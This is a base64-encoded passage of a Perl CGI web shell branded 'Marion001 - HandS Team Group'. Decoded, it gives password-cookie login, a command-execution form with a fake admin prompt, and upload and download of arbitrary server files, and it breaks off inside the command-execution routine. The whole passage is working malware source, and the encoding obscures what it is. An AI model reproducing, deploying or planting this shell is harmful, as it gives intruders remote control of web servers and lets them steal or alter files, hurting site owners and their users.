OjpbTWFyaW9uMDAxIC0gSGFuZFMgVGVhbSBHcm91cF06OiA8L2ZvbnQ+ICAqJmx0Oy0tLT08L2ZvbnQ+PC9jb2RlPgo8L2NlbnRlcj48L2JvZHk+CjwvaHRtbD4iOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ291dFNjcmVlbgp7CglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgoJJlByaW50TG9naW5TY3JlZW47CgkmUHJpbnRMb2dpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwoJZXhpdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXI7CgkJcHJpbnQgJkxpc3REaXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhlYWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsKCgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyAKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KVCYjMjM0O24gRmlsZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KVCYjNzg0MztpIFh1JiM3ODg5O25nIDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYW5kUyBUZWFtIj4KCjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpUJiMyMzQ7biBGaWxlOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpDJiMyMjQ7aSAmIzI3MjsmIzc4NjM7dDogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPgo8bGFiZWwgZm9yPSJ1cCI+JiMyNzI7JiMyMzI7IEwmIzIzNDtuIE4mIzc4NzE7dSBGaWxlIFRyJiMyNDk7bmcgTmhhdTwvbGFiZWw+PGJyPjxicj4KVCYjNzg0MztpIEwmIzIzNDtuOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYW5kUyBUZWFtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPgo8YnI+PGZvbnQgY29sb3I9eWVsbG93PgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pgo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+CkVORAoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlc3VsdD0iIjsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN1bHQgLj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgoKSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+CkVORAoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7CgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCW15ICRyZXN1bHQgPSAiIjsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlc3VsdD0iIjsKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIpOwoJbXkgJHJlc3VsdD0iIjsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGly